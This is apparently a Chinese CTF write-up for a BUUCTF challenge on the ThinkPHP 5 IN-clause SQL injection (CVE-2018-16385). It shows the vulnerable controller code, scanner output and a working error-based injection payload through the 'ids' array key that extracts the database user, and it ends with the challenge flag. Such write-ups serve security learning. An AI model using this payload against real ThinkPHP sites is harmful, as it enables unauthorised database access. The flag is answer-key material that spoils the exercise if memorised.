BUUCTF-Real-[ThinkPHP]IN SQL INJECTION

目录

漏洞描述

漏洞分析

漏洞复现

漏洞描述

漏洞发现时间: 2018-09-04

**CVE 参考:**CVE-2018-16385

**最高严重级别:**低风险

**受影响的系统:**ThinkPHP < 5.1.23

漏洞描述:

ThinkPHP是一款快速、兼容、简单的轻量级国产PHP开发矿场,解决了大部分应用开发的需求。

该漏洞与程序没有正确过滤数组的Key值,导致在public/index/index/test/index中查询字符串时出现SQL注入漏洞有关。攻击者可以利用该漏洞获取数据库中当前用户名等数据。


漏洞分析

php 复制代码
<?php
namespace app\index\controller;

class Test
{
    public function index()
    {
   		$data=array();
	 	$data['username']=array('eq','admin');
		$order=input('get.order');//使用input函数进行安全过滤
		$m=db('user')->where($data)->order($order)->find();
		dump($m);
   }
}

漏洞原因是处理order by参数时,如果参数用户是可控的,当参数为数组key value时,未正确过滤处理数组的key值,就会导致漏洞的产生。


首先定义了一个Test类,该类包含一个名为index的公共方法。在该方法中,首先创建了一个空数组data。然后,将值为\`array('eq', 'admin')\`的一维数组赋给data['username'],即data数组中的一个元素。接下来,使用\`input('get.order')\`语句获取来自GET请求的\`order\`参数,并将其赋给order变量。需要注意的是,这里使用了input函数对输入数据进行了安全过滤。接下来,代码使用db('user')-\>where(data)语句查询数据库中满足data条件的数据。然后,使用order变量对查询结果进行排序,最后使用find()方法返回查询结果的第一个匹配项,并将其存储在m变量中。最后使用dump函数打印m变量的内容。


漏洞复现

php 复制代码
payload

[!] Name: ThinkPHP5 SQL Injection Vulnerability && Sensitive Information Disclosure Vulnerability
    Script: thinkphp5_sqli.py
    Url: http://node5.buuoj.cn:29791/
      Vulnerable: True
      Method: GET
      Payload: http://node5.buuoj.cn:29791/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

php 复制代码
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

经过poc验证,此版本的thinkphp存在sql注入漏洞!




flag{1ffdbdc4-020e-4d98-bb49-ccabed232769}

ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析 | 离别歌 (leavesongs.com)https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

具体漏洞分析!

相关推荐
枷锁—sha6 小时前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1199 小时前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK202511 小时前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec11 小时前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用11 小时前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云
原来是你~呀~12 小时前
Strix:AI驱动的全自动安全测试平台,LinuxOS部署
网络安全·自动化渗透测试·strix
fendouweiqian12 小时前
AWS WAF(配合 CloudFront)基础防护配置:免费能做什么、要不要开日志、如何限制危险方法
网络安全·aws·cloudfront
乾元12 小时前
终端安全(EDR):用深度学习识别未知勒索软件
运维·人工智能·网络协议·安全·网络安全·自动化·安全架构
Whoami!13 小时前
⓫⁄₁₃ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 利用Windows计划任务提权
网络安全·信息安全·利用windows计划任务提权
虚构之人1 天前
二进制漏洞挖掘(WinAFL Fuzzing)Windows篇
汇编·网络安全·信息安全·系统安全